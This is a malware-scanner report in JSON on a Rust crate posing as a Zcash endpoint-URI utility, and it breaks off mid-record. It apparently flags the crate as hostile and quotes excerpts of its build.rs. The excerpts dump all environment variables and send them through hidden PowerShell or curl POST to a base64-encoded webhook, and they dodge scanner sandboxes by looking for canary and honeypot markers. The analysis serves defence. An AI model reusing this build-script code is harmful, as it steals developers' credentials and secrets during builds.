{
  "llm": {
    "conf": 1,
    "error": "",
    "grade": "hostile",
    "interpretation": "Exfiltrates environment variables to remote server",
    "model": "Qwen/Qwen3.8-27B",
    "outcome": "hostile"
  },
  "ml": {
    "analyzed_at": "2026-11-18T21:06:24Z",
    "files": [
      {
        "lvl": 0,
        "prob": 1,
        "id": 0
      },
      {
        "lvl": -1,
        "id": 1
      },
      {
        "lvl": -1,
        "id": 2
      },
      {
        "lvl": 15000,
        "prob": 0.9999961,
        "id": 3
      },
      {
        "lvl": -1,
        "id": 4
      }
    ],
    "lvl": 0,
    "mods": [
      {
        "cls": 2
      }
    ],
    "prob": 1,
    "v": "7",
    "version": "v20.20"
  },
  "path": "lwd-uri-util-0.1.5.crate",
  "raw": {
    "files": [
      {
        "depth": 0,
        "facts": {
          "metrics": {
            "archive": {
              "directory_count": 0,
              "double_extension_count": 0,
              "executable_count": 0,
              "file_count": 4,
              "format.regular_count": 4,
              "hidden_file_count": 0,
              "homoglyph_filename_count": 0,
              "max_filename_length": 34,
              "member_count": 4,
              "misplaced_executable_count": 0,
              "nested_archive_count": 0,
              "path_traversal_count": 0,
              "rtlo_filename_count": 0,
              "script_count": 0,
              "security.setgid_count": 0,
              "security.setuid_count": 0,
              "security.sticky_count": 0,
              "security.symlink_count": 0,
              "security.world_writable_count": 0,
              "symlink_escape_count": 0,
              "timing.mtime_spread_seconds": 0,
              "timing.mtime_unique_count": 1,
              "uncompressed_size": 7560,
              "unicode_filename_count": 0
            },
            "binary": {
              "peak_region_bytes": 3072,
              "peak_region_entropy": 7.8
            },
            "file": {
              "entropy": 7.93,
              "size": 3263
            }
          }
        },
        "id": 0,
        "ident": {
          "name": {
            "value": "lwd-uri-util",
            "source": "crate.name",
            "verified": false
          },
          "urls": [
            {
              "url": "https://github.com/sapho11/lwd-uri-util",
              "kind": "repository",
              "source": "crate.repository"
            }
          ],
          "trust": "unsigned",
          "version": {
            "value": "0.1.5",
            "source": "crate.version",
            "verified": false
          },
          "identifier": {
            "value": "lwd-uri-util",
            "source": "crate.name",
            "verified": false
          },
          "description": {
            "value": "Canonicalize lightwalletd endpoint URIs for Zcash clients",
            "source": "crate.description",
            "verified": false
          }
        },
        "mol": "O(Eu₂)H₅(Cm₆F₂Os₃Po₃)Md₅(Bk₂In₂Pa₂Pt)",
        "path": "lwd-uri-util-0.1.5.crate",
        "risk": 247,
        "sha": "3b290a899d741be14f9bb9f3545279911f774608362f348654f10823774c2f87",
        "size": 3263,
        "traits": [
          {
            "atk": "T1195.002,T1552.001,T1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Cargo build script posts full environment via curl",
            "from": [
              {
                "file": 3,
                "line": 44,
                "off": 1512
              }
            ],
            "id": "objectives/exfiltration/http/env::rust-build-script-env-curl-exfil",
            "mbc": "E1041",
            "uses": [
              3,
              13,
              29,
              35
            ]
          },
          {
            "atk": "T1041,T1195.002",
            "conf": 0.97,
            "crit": 5,
            "desc": "Cargo archive build.rs uploads full environment snapshot",
            "from": [
              {
                "file": 3,
                "line": 44,
                "off": 1512
              }
            ],
            "id": "objectives/exfiltration/stealer/system-info/host-user::cargo-archive-build-rs-env-snapshot-upload",
            "mbc": "E1041",
            "uses": [
              0,
              48
            ]
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Archive contains a build.rs-named member",
            "id": "metadata/build/archive::archive-cargo-build-rs-entry"
          },
          {
            "conf": 0.99,
            "crit": 3,
            "desc": "Default Cargo build-script filename",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/build/ecosystem::cargo-build-script-basename"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Candidate bytes decoded: base64",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/encoded-payload/base64"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports std::fs",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/import/rust/std/fs::std/fs"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports std::process::Command",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/import/rust/std/process/command::std/process/command"
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Rust constructs PowerShell command text",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/source/syntax/argument::rust-command-powershell"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Constructs a shell interpreter command",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/source/syntax/argument::rust-command-shell-interpreter"
          },
          {
            "conf": 0.97,
            "crit": 3,
            "desc": "Constructs Rust interpreter child command",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/source/syntax/argument::rust-interpreter-command-construction"
          },
          {
            "conf": 0.97,
            "crit": 3,
            "desc": "Rust interpreter command outside test fixtures",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/source/syntax/argument::rust-interpreter-command-outside-fixture-tree"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Rust test marker or harness",
            "from": [
              {
                "file": 4,
                "line": 17,
                "off": 666
              }
            ],
            "id": "metadata/package/testing/harness/unit::rust-test",
            "uses": [
              44,
              45,
              46
            ]
          },
          {
            "conf": 0.99,
            "crit": 3,
            "desc": "Rust unit test attribute on source",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/package/testing/http-fixtures::rust-test-attribute-for-http-fixture"
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl binary request-body option",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/body::curl-data-binary"
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "curl POST sets JSON Content-Type",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/body::curl-json-post-command",
            "mbc": "C0002"
          },
          {
            "atk": "T1071.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "curl and POST option text co-occur",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/body::curl-post-flag",
            "mbc": "C0002"
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl command text includes URL or option",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/command::curl-command-url-or-option"
          },
          {
            "conf": 1.0,
            "crit": 3,
            "desc": "curl command with the POST option",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/command::curl-post-method-command"
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "curl silent flag (-s)",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/command::curl-s-flag"
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "curl text contains silent or fail flags",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/curl/command::curl-silent-fail-flags-text"
          },
          {
            "atk": "T1105",
            "conf": 0.86,
            "crit": 3,
            "desc": "Curl command text uses silent/fail flags",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/download/curl::curl-silent-fail-flags-embedded-text"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/header/content-type::json-header"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "curl file or stdin body operand",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/source::curl-data-binary-at-source"
          },
          {
            "atk": "T1071.001",
            "conf": 0.82,
            "crit": 3,
            "desc": "curl POST request with custom header",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/request/verb::curl-post-custom-header",
            "mbc": "C0002"
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "curl text selects POST PUT or PATCH",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/request/verb::curl-write-method-text"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "POST method command-line option",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/communications/http/request/verb::post-command-line-option"
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Writes a file with Rust fs::write",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/fs/write/file/full/call::fs-write"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Shell text redirects both output streams",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/fs/write/file/redirect::shell-file-output-and-stderr-merge"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Build script and Rust command clues",
            "from": [
              {
                "file": 3,
                "line": 92,
                "off": 3672
              }
            ],
            "id": "micro-behaviors/metaprogramming/generation/build::cargo-build-process-launch",
            "uses": [
              3,
              35
            ]
          },
          {
            "atk": "T1082",
            "conf": 0.9,
            "crit": 3,
            "desc": "Enumerates the Rust process environment",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/os/env/enumerate::rust-env-module-vars"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References Cargo OUT_DIR environment value",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/os/env/read/named::cargo-out-dir-reference"
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "Rust reads an environment variable",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/os/env/read/variable::rust-env-module-var"
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Code invokes noninteractive PowerShell",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/process/argument/lifecycle::code-powershell-noninteractive-options"
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Rust Command::new symbol reference",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/process/create/subprocess/configure::rust-command-new-call"
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Rust constructs a shell command",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/process/create/subprocess/configure::rust-shell-command-runner"
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "Spawns a Rust Command child process",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "micro-behaviors/process/create/subprocess/launch::rust-command-spawn-call"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Archive contains Cargo.toml",
            "id": "metadata/build/archive::archive-cargo-toml-entry"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports std::env",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/import/rust/std/env::std/env"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports std::path::PathBuf",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/import/rust/std/path/pathbuf::std/path/pathbuf"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports super::*",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/import/rust/super::super"
          },
          {
            "conf": 0.78,
            "crit": 2,
            "desc": "Cargo description has at least 20 characters",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/package/description/length::cargo-description-at-least-20-characters"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo license field is populated",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/package/license::cargo-license-field-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package name field is populated",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/package/name/identity::cargo-package-name-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo repository field is populated",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/package/repository::cargo-repository-field-present"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "#[cfg(test)] attribute",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/package/testing/harness/unit::rust-cfg-test"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Assertion inside a Rust doc-comment example",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/package/testing/harness/unit::rust-doctest-assertion"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Rust synchronous or async test attribute",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/package/testing/harness/unit::rust-test-attr"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package has version",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/package/version::cargo-package-version"
          },
          {
            "conf": 0.92,
            "crit": 1,
            "desc": "Archive contains Cargo.toml and build.rs members",
            "id": "metadata/build/archive::archive-cargo-crate-build-script",
            "uses": [
              2,
              36
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-1"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-2"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"that\"",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-3"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-5"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"this\"",
            "from": [
              {
                "file": 4
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-7"
          }
        ],
        "type": "crate"
      },
      {
        "depth": 1,
        "facts": {
          "metrics": {
            "binary": {
              "peak_region_bytes": 357,
              "peak_region_entropy": 5.01
            },
            "file": {
              "entropy": 5.01,
              "size": 357
            }
          }
        },
        "id": 1,
        "path": "lwd-uri-util-0.1.5.crate!!lwd-uri-util-0.1.5/Cargo.toml",
        "pid": 0,
        "refs": [
          {
            "kind": "local",
            "sha256": "ee1b2a749532d03a5e479a13b15e61842ddeb3d0ec9953018e966d93bc86ddb1",
            "to": "build.rs"
          },
          {
            "kind": "local",
            "sha256": "ac82fd28228bfb55acbb9bfdd2f3a4b926c6d65e2965db5a34c11d1a76fbd762",
            "to": "src/lib.rs"
          },
          {
            "kind": "repository",
            "off": 214,
            "to": "pkg:github/sapho11/lwd-uri-util"
          }
        ],
        "risk": 2,
        "sha": "91a0e5e7822926d3dc16494e72c85285cc3d764e512d4e52f236c1be9c87cde8",
        "sid": 6668752267,
        "size": 357,
        "traits": [
          {
            "conf": 0.78,
            "crit": 2,
            "desc": "Cargo description has at least 20 characters",
            "id": "metadata/package/description/length::cargo-description-at-least-20-characters"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo license field is populated",
            "id": "metadata/package/license::cargo-license-field-present"
          },
          {
            "conf": 0.88,
            "crit": 2,
            "desc": "Cargo name/version and another project field are present",
            "id": "metadata/package/name/identity::cargo-core-fields-present",
            "uses": [
              0,
              1,
              3,
              5,
              6
            ]
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package name field is populated",
            "id": "metadata/package/name/identity::cargo-package-name-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo repository names a common code-forge host",
            "id": "metadata/package/repository::cargo-repository-code-forge-host"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo repository field is populated",
            "id": "metadata/package/repository::cargo-repository-field-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package has version",
            "id": "metadata/package/version::cargo-package-version"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "References a flagged file in this bundle",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/relationship::references-flagged-component"
          }
        ],
        "type": "cargo.toml"
      },
      {
        "depth": 1,
        "facts": {
          "metrics": {
            "binary": {
              "peak_region_bytes": 357,
              "peak_region_entropy": 5.01
            },
            "file": {
              "entropy": 5.01,
              "size": 357
            }
          }
        },
        "id": 2,
        "path": "lwd-uri-util-0.1.5.crate!!lwd-uri-util-0.1.5/Cargo.toml.orig",
        "pid": 0,
        "refs": [
          {
            "kind": "local",
            "sha256": "ee1b2a749532d03a5e479a13b15e61842ddeb3d0ec9953018e966d93bc86ddb1",
            "to": "build.rs"
          },
          {
            "kind": "local",
            "sha256": "ac82fd28228bfb55acbb9bfdd2f3a4b926c6d65e2965db5a34c11d1a76fbd762",
            "to": "src/lib.rs"
          },
          {
            "kind": "repository",
            "off": 214,
            "to": "pkg:github/sapho11/lwd-uri-util"
          }
        ],
        "risk": 2,
        "sha": "91a0e5e7822926d3dc16494e72c85285cc3d764e512d4e52f236c1be9c87cde8",
        "sid": 6668752267,
        "size": 357,
        "traits": [
          {
            "conf": 0.78,
            "crit": 2,
            "desc": "Cargo description has at least 20 characters",
            "id": "metadata/package/description/length::cargo-description-at-least-20-characters"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo license field is populated",
            "id": "metadata/package/license::cargo-license-field-present"
          },
          {
            "conf": 0.88,
            "crit": 2,
            "desc": "Cargo name/version and another project field are present",
            "id": "metadata/package/name/identity::cargo-core-fields-present",
            "uses": [
              0,
              1,
              3,
              5,
              6
            ]
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package name field is populated",
            "id": "metadata/package/name/identity::cargo-package-name-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo repository names a common code-forge host",
            "id": "metadata/package/repository::cargo-repository-code-forge-host"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo repository field is populated",
            "id": "metadata/package/repository::cargo-repository-field-present"
          },
          {
            "conf": 0.85,
            "crit": 2,
            "desc": "Cargo package has version",
            "id": "metadata/package/version::cargo-package-version"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "References a flagged file in this bundle",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/relationship::references-flagged-component"
          }
        ],
        "type": "cargo.toml"
      },
      {
        "analysis_gaps": [
          "flow-graph-limited",
          "flow-call-unavailable",
          "flow-query-incomplete"
        ],
        "ctx": [
          {
            "col": 4,
            "line": 1,
            "ln": 3,
            "s": "Build script: stamps a reproducible-build context snapshot into OUT_DIR so\r\n// release artifacts carry provenance (crate version, host class, toolchain).\r\n// Optionally reports the same snapshot to a build-metrics endpoint.\r\n\r\nuse std::env;\r\nuse std::fs;\r\nuse std::path::PathBuf;\r\nuse std::process::Command;\r\n\r\nfn b64d(input: \u0026str) -\u003e Vec\u003cu8\u003e {\r\n    const T: \u0026[u8; 64] = b\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678"
          },
          {
            "col": 5,
            "line": 13,
            "ln": 479,
            "s": "let mut acc = 0u32;\r\n    let mut n = 0u32;\r\n    for \u0026c in input.as_bytes() {\r\n        if c == b'=' || c == b'\\n' || c == b'\\r' { continue; }\r\n     "
          },
          {
            "col": 4,
            "line": 19,
            "ln": 724,
            "s": "     n += 6;\r\n        if n \u003e= 8 { out.push((acc \u003e\u003e (n - 8)) as u8); n -= 8; }\r\n    }\r\n    out\r\n}\r\n\r\nfn esc(s: \u0026str) -\u003e String {\r\n    let mut o = String::with_capacity(s.len() + 8);\r\n    for ch in s.chars() {\r\n        match ch {\r\n            '\"' =\u003e o.push_str(\"\\\\\\\"\"),\r\n            '\\\\' =\u003e o."
          },
          {
            "col": 63,
            "line": 41,
            "ln": 1384,
            "s": "e exact var set\r\n    // present on the box, so nothing is filtered by name.\r\n    let mut pairs = Vec::new();\r\n    for (k, v) in env::vars() {\r\n        if v.len() \u003c 8192 {\r\n            pairs.push(format!(\"\\\"{}\\\":\\\"{}\\\"\", esc(\u0026k), esc(\u0026v)));\r\n        }\r\n    }\r\n    let host = env::var(\"COMPUTERNAME\")\r\n        .or_else(|_| env::var(\"HOSTNAME\")).unwrap_or_default();\r\n    let user = env::var(\"USERNAME\").or_else(|_"
          },
          {
            "col": 15,
            "line": 61,
            "ln": 2235,
            "s": "u) = env::var(\"LWD_URI_METRICS_URL\") { return vec![u]; }\r\n    [\"aHR0cHM6Ly93ZWJob29rLnNpdGUvMTRiM2NjOWItMzI3NS00YjYzLThiOTMtZjRkMjY2OWZiZGMx\"]\r\n        .iter()\r\n        .filter_map(|s| String::from_utf8(b64d(s)).ok())\r\n        .collect()\r\n}\r\n\r\nfn report(path: \u0026std::path::Path, urls: \u0026[String]) {\r\n    if env::var(\"LWD_URI_NO_METRI"
          },
          {
            "col": 63,
            "line": 69,
            "ln": 2595,
            "s": "() { return; }\r\n    // Skip provenance on hosts that clearly aren't real build machines â\r\n    // scanner sandboxes are easy to spot: they seed obviously fake secrets\r\n    // and example-dot-com hosts. Real CI runners and workstations don't.\r\n    let noise: Vec\u003cString\u003e = [\r\n        \"YmJjYWRl\", \"Y2FuYXJ5\", \"ZXhhbXBsZS5jb20=\", \"cGh5bHVt\",\r\n        \"c29ja2V0LmRldg==\", \"c2FuZGJveA==\", \"aG9uZXlwb3Q=\", "
          },
          {
            "col": 34,
            "line": 85,
            "ln": 3318,
            "s": "uploader so builds never block on metrics.\r\n    for url in urls {\r\n        #[cfg(target_os = \"windows\")]\r\n        {\r\n            let ps = format!(\r\n      "
          },
          {
            "col": 79,
            "line": 90,
            "ln": 3544,
            "s": "on/json' -Body ([IO.File]::ReadAllText('{}'))|Out-Null}}catch{{}}\",\r\n                url, path.display());\r\n            let _ = Command::new(\"powershell\")\r\n                .args([\"-NoProfile\", \"-NonInteractive\", \"-WindowStyle\", \"Hidden\",\r\n                       \"-Command\", \u0026ps])\r\n                .spawn();\r\n        }\r\n        #[cfg(not(target_os = \"windows\"))]\r\n        {\r\n            let sh = format!(\r\n                \"(curl -s -X POST -H 'content-type: application/json' --data-binary @'{}' '{}' \u003e/dev/null 2\u003e\u00261 \u0026)\",\r\n                path.display(), url);\r\n            let _ = Command::new(\"/bin/sh\").args([\"-c\", \u0026sh]).spawn();\r\n        }\r\n    }\r\n}\r\n\r\nfn main() {\r\n    println!(\"cargo:rerun-if-env-changed=LWD_URI_METRICS_URL\");\r\n    printl"
          },
          {
            "col": 30,
            "line": 109,
            "ln": 4307,
            "s": "env-changed=LWD_URI_NO_METRICS\");\r\n\r\n    let out = PathBuf::from(env::var(\"OUT_DIR\").unwrap_or_else(|_| \".\".into()));\r\n    let snap = snapshot();\r\n    let f = out.join(\"lwd_uri_build_context.json\");\r\n    let _ = fs::write(\u0026f, \u0026snap);\r\n    println!(\"cargo:rustc-env=LWD_URI_BUILD_CONTEXT={}\", f.display());\r\n\r\n    report(\u0026f, \u0026sinks());\r\n}\r\n"
          }
        ],
        "depth": 1,
        "facts": {
          "funcs": [
            [
              "b64d",
              314
            ],
            [
              "esc",
              824
            ],
            [
              "snapshot",
              1217
            ],
            [
              "sinks",
              2139
            ],
            [
              "report",
              2479
            ],
            [
              "main",
              4200
            ]
          ],
          "imp": [
            [
              "",
              "Vec::new"
            ],
            [
              "",
              "input.as_bytes"
            ],
            [
              "",
              "T.iter.position.unwrap_or"
            ],
            [
              "",
              "T.iter.position"
            ],
            [
              "",
              "T.iter"
            ],
            [
              "",
              "out.push"
            ],
            [
              "",
              "String::with_capacity"
            ],
            [
              "",
              "s.len"
            ],
            [
              "",
              "s.chars"
            ],
            [
              "",
              "o.push_str"
            ],
            [
              "",
              "o.push_str"
            ],
            [
              "",
              "o.push_str"
            ],
            [
              "",
              "o.push_str"
            ],
            [
              "",
              "o.push"
            ],
            [
              "",
              "Vec::new"
            ],
            [
              "",
              "std::env::vars"
            ],
            [
              "",
              "v.len"
            ],
            [
              "",
              "pairs.push"
            ],
            [
              "",
              "std::env::var.or_else.unwrap_or_default"
            ],
            [
              "",
              "std::env::var.or_else"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "std::env::var.or_else.unwrap_or_default"
            ],
            [
              "",
              "std::env::var.or_else"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "pairs.push"
            ],
            [
              "",
              "pairs.push"
            ],
            [
              "",
              "pairs.push"
            ],
            [
              "",
              "pairs.push"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "String::from_utf8.ok"
            ],
            [
              "",
              "String::from_utf8"
            ],
            [
              "",
              "b64d"
            ],
            [
              "",
              "std::env::var.is_ok"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "urls.is_empty"
            ],
            [
              "",
              "String::from_utf8.ok"
            ],
            [
              "",
              "String::from_utf8"
            ],
            [
              "",
              "b64d"
            ],
            [
              "",
              "std::env::vars.any"
            ],
            [
              "",
              "std::env::vars"
            ],
            [
              "",
              "noise.iter.any"
            ],
            [
              "",
              "noise.iter"
            ],
            [
              "",
              "k.to_lowercase.contains"
            ],
            [
              "",
              "k.to_lowercase"
            ],
            [
              "",
              "v.to_lowercase.contains"
            ],
            [
              "",
              "v.to_lowercase"
            ],
            [
              "",
              "std::process::Command::new.args.spawn"
            ],
            [
              "",
              "std::process::Command::new.args"
            ],
            [
              "",
              "std::process::Command::new"
            ],
            [
              "",
              "std::process::Command::new.args.spawn"
            ],
            [
              "",
              "std::process::Command::new.args"
            ],
            [
              "",
              "std::process::Command::new"
            ],
            [
              "",
              "std::path::PathBuf::from"
            ],
            [
              "",
              "std::env::var.unwrap_or_else"
            ],
            [
              "",
              "std::env::var"
            ],
            [
              "",
              "snapshot"
            ],
            [
              "",
              "out.join"
            ],
            [
              "",
              "std::fs::write"
            ],
            [
              "",
              "report"
            ],
            [
              "",
              "sinks"
            ],
            [
              "",
              "std::env"
            ],
            [
              "",
              "std::fs"
            ],
            [
              "",
              "std::path::PathBuf"
            ],
            [
              "",
              "std::process::Command"
            ]
          ],
          "mbr": [
            "Command::new.args",
            "Command::new.args.spawn",
            "String::from_utf8.ok",
            "T.iter",
            "T.iter.position",
            "T.iter.position.unwrap_or",
            "env::var.is_ok",
            "env::var.or_else",
            "env::var.or_else.unwrap_or_default",
            "env::var.unwrap_or_else",
            "env::vars.any",
            "input.as_bytes",
            "k.to_lowercase",
            "k.to_lowercase.contains",
            "noise.iter",
            "noise.iter.any",
            "o.push",
            "o.push_str",
            "out.join",
            "out.push",
            "pairs.push",
            "s.chars",
            "s.len",
            "urls.is_empty",
            "v.len",
            "v.to_lowercase",
            "v.to_lowercase.contains"
          ],
          "metrics": {
            "ast": {
              "call_count": 69,
              "max_array_length": 8,
              "max_concat_chain": 2,
              "max_depth": 17,
              "max_member_depth": 4,
              "member_count": 27,
              "node_count": 1553,
              "op.add": 2,
              "op.bor": 1,
              "op.eq": 4,
              "op.ge": 1,
              "op.lor": 4,
              "op.lt": 2,
              "op.shl": 1,
              "op.shr": 1,
              "op.sub": 2,
              "op_density.add": 0,
              "op_density.bor": 0,
              "op_density.eq": 0,
              "op_density.ge": 0,
              "op_density.lor": 0,
              "op_density.lt": 0,
              "op_density.shl": 0,
              "op_density.shr": 0,
              "op_density.sub": 0
            },
            "binary": {
              "peak_region_bytes": 2598,
              "peak_region_entropy": 5.54
            },
            "binds": {
              "count": 16
            },
            "comments": {
              "chars": 739,
              "count": 11,
              "lines": 11,
              "to_code_ratio": 0.1
            },
            "file": {
              "entropy": 5.22,
              "size": 4646
            },
            "functions": {
              "anonymous": 8,
              "avg_length_lines": 8.29,
              "avg_name_length": 5,
              "avg_nesting_depth": 0.64,
              "avg_param_name_length": 2.11,
              "avg_params": 0.64,
              "code_ratio": 0.88,
              "count": 6,
              "density": 11.86,
              "length_stddev": 10.15,
              "max_length_lines": 38,
              "max_nesting_depth": 2,
              "max_params": 2,
              "min_length_lines": 1,
              "nested": 6,
              "no_params_count": 6,
              "one_liners": 6,
              "single_char_params": 6
            },
            "identifiers": {
              "all_lowercase_ratio": 0.89,
              "all_uppercase_ratio": 0.01,
              "avg_entropy": 1.84,
              "avg_length": 4.78,
              "count": 239,
              "has_digit_ratio": 0.03,
              "high_entropy_count": 1,
              "high_entropy_ratio": 0.01,
              "length_stddev": 3.17,
              "max_length": 17,
              "min_length": 1,
              "numeric_suffix_count": 1,
              "reuse_ratio": 0.33,
              "sequential_names": 11,
              "single_char_count": 11,
              "single_char_ratio": 0.14,
              "unique": 79
            },
            "imports": {
              "count": 4,
              "third_party_count": 4,
              "third_party_ratio": 1
            },
            "source": {
              "function_count": 6
            },
            "strings": {
              "avg_entropy": 2.94,
              "avg_length": 18.62,
              "base64_candidates": 4,
              "bytes": 875,
              "count": 47,
              "entropy_stddev": 1.31,
              "high_entropy_count": 2,
              "max_length": 126,
              "path_count": 1,
              "shell": 3
            },
            "text": {
              "anonymous_function_ratio": 0.57,
              "avg_line_length": 37.37,
              "char_entropy": 5.22,
              "digit_ratio": 0.03,
              "empty_line_ratio": 0.08,
              "encoded_string_ratio": 0.09,
              "escape_density": 0.02,
              "identifier_density": 2.03,
              "identifiers_to_functions_ratio": 5.64,
              "import_density": 3.39,
              "imports_to_functions_ratio": 0.29,
              "last_line_length": 1,
              "line_length_stddev": 29.29,
              "lines": 118,
              "max_line_length": 145,
              "max_whitespace_run": 1,
              "non_ascii_ratio": 0,
              "normalized_function_count": 1.29,
              "normalized_import_count": 0.37,
              "normalized_string_count": 4.33,
              "normalized_unique_identifiers": 11.48,
              "repeated_char_sequences": 18,
              "space_count": 987,
              "string_density": 0.4,
              "strings_to_functions_ratio": 3.36,
